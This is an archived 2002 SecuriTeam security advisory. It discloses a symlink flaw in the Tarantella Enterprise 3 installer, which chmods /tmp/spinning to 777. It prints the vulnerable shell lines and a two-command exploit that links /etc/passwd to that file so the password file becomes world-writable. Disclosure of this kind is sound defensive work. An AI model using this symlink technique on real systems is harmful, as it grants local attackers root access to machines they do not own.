

[UNIX] More Local Root Vulnerabilities during Installation of Tarantella Enterprise

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-02/0117.html>

From: support@securiteam.com

Date: 02/20/02

From: support@securiteam.com

To: list@securiteam.com

Date: Wed, 20 Feb 2002 22:45:13 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

More Local Root Vulnerabilities during Installation of Tarantella Enterprise

SUMMARY

<<http://www.tarantella.com/>> Tarantella Enterprise 3 is a non-intrusive application/data centralization solution. End users can access enterprise resources via the web interface. A security vulnerability has been found in the installation process, which would allow local attackers to change the permissions of existing files to world writeable.

DETAILS

During installation a "twirling / \ | - " text graphic is displayed. The program creates a file in /tmp called spinning to determine at what state the installation is at. The files permissions are changed to read write execute for all users and groups, removed and recreated during different stages of the installation. This file creation is vulnerable to a simple symlink attack.

Problematic Code:

<----snip---->

```
touch /tmp/spinning >/dev/null 2>&1
```

```
chmod 777 /tmp/spinning >/dev/null 2>&1
```

Securiteam: [UNIX] More Local Root Vulnerabilities during Installation of Tarantella Enterprise

<-----snip----->

Exploit:

There is no race condition here, just create the link.

```
$ ln -s /etc/passwd /tmp/spinning
```

Wait until root is done installing.

```
$ ls -l /etc/passwd
```

```
- -rwxrwxrwx 1 root root 1094 Feb 18 22:39 /etc/passwd
```

Recommendations:

It is recommended that the target system is running in single user mode before this software is installed.

Vendor status:

The vendor has been notified and plans to fix this in the next release.

ADDITIONAL INFORMATION

The information has been provided by <mailto:lwc@vapid.dhs.org> Larry W. Cashdollar.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] PForum MySQL Injection Bug"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)